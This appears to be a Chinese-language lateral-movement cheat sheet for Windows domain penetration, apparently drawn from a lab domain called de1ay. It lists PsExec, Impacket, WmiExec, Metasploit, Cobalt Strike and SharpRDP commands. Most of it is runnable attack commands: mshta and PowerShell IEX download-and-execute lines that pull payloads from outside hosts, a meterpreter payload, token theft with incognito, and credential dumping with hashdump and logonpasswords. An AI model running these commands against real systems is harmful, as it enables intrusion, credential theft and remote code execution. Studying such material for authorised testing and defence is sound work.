一、PsExec (微软官方工具)
1.PsExec简介
PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
原理:
- ipc$连接,释放Psexesvc.exe
- OpenSCManager打开受害者机器上服务控制管理器的句柄
- CreateService创建服务
- 获取服务句柄OpenService使用StartService启动服务
2.PsExec使用
(1)建立IPC连接,使用PsExec无需输入密码:
net use \\IP /u:域名称\域账号 密码
(2)反弹cmd:
psexec.exe \\10.10.10.201 -s cmd.exe -accepteula
(3)执行命令:
psexec.exe \\10.10.10.201 whoami -accepteula
注意:第一次运行会弹框,加 -accepteula 参数可绕过。在meterpreter的shell中执行会报错。
beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e whoami (命令测试)
beacon> shell psexec.exe \\10.10.10.201 -u de1ay\Administrator -p 1qaz@WSX3e mshta http://192.168.78.117:8088/download/file.ext (通过mshta执行木马文件,注意不要添加双引号否则会报"系统找不到指定的文件"的错误)
(4)PsExec重要参数(简便方法)
PsExec.exe \\10.10.10.201 -u administrator -p 1qaz@WSX -c c:\bea32.exe -d
-c <[路径]文件名>:拷贝文件到远程机器并运行 (注意:运行结束后文件会自动删除)
-d 不等待程序执行完就返回
3.psexec.py (需要靶机有python环境,或者自己主机使用代理将命令传输过去)
https://github.com/maaaaz/impacket-examples-windows
https://github.com/SecureAuthCorp/impacket
Impacket工具包中的psexec.py与官方PsExec.exe相比会自动删除服务,增加隐蔽性。
(1)执行命令:
psexec.exe de1ay/administrator:1qaz@WSX3e@10.10.10.201 whoami (注意正斜杠)
(2)交互式命令行:
psexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.201 (msf和cs无法使用交互式命令)
4.SmbExec(同上)
smbexec是一款基于psexec的域渗透测试工具,并配套samba工具。
smbexec.py de1ay/administrator:1qaz@WSX3e@10.10.10.201
二、WmiExec
1.WmiExec
(1)单命令执行
cscript.exe //nologo wmiexec.vbs /cmd ip username password "command" (//nologo消除弹窗)
wmiexec.vps:https://raw.githubusercontent.com/Twi1ight/AD-Pentest-Script/master/wmiexec.vbs
wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一线vbs里面的名字就可以解决:Const FileName = "wmi.dll",也可以加入-persist参数后台运行。
2.WmiExec
(1)半交互模式(不适用于msf和cs)
shell cscript.exe //nologo c:\wmiexec.vbs /shell ip username password
三、MetaSploit
1.psexec_command (通常用于批量验证得到的账号密码是否可以横向移动)
auxiliary/admin/smb/psexec_command
set rhosts 10.10.10.201
set smbdomain de1ay (指定域名,如果获得的是工作组,则设为默认即可)
set smbuser administrator
set smbpass 1qaz@WSX
set command whoami
run
2.psexec (批量反弹shell)
exploit/windows/smb/psexec
set rhosts 10.10.10.201
set smbdomain de1ay
set smbuser administrator
set smbpass 1qaz@WSX
set payload windows/x64/meterpreter/bind_tcp (注意是正向shell)
run
3.ms17_010_command
auxiliary/admin/smb/ms17_010_command
4.Token窃取:
Windows有两种类型的Token:
- Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
- Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
两种token只在系统重启后清除。
具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。
在Metasploit中,可使用incognito实现token窃取,Metasploit中的incognito,是从windows平台下的incognito移植过来的。
加载incognito模块:
load incognito
列举token:
list_tokens -u
查看当前token:
getuid
提权至system权限:
getsystem
token窃取:
impersonate_token "NT AUTHORITY\\SYSTEM"
从进程窃取token:
steal_token 4500 (进程ID)
返回之前token:
rev2self、drop_token
在cs中可通过上传可执行脚本进行利用:https://github.com/milkdevil/incognito2
四、CobaltStrike
1.CS获取凭证
hashdump
logonpasswords
2.扫描存活主机
PortScan扫描存活主机:
portscan 10.10.10.0-10.10.10.255 21,22,80,3389,445 arp 1024
3.PsExec
五、SharpRDP
1.SharpRDP:https://github.com/0xthirteen/SharpRDP (需编译后使用)
SharpRDP - 远程桌面协议控制台应用程序,可用于对横向目标执行针对远程目标的经过身份验证的命令执行。
SharpRDP.exe computername=172.26.2.43 command="powershell.exe -nop -w hidden -c \"IEX((new-object net.webclient).downloadstring('http://ip:端口/a'))\"" username=MINGY\WIN7-1 password=qwer123
Comments | NOTHING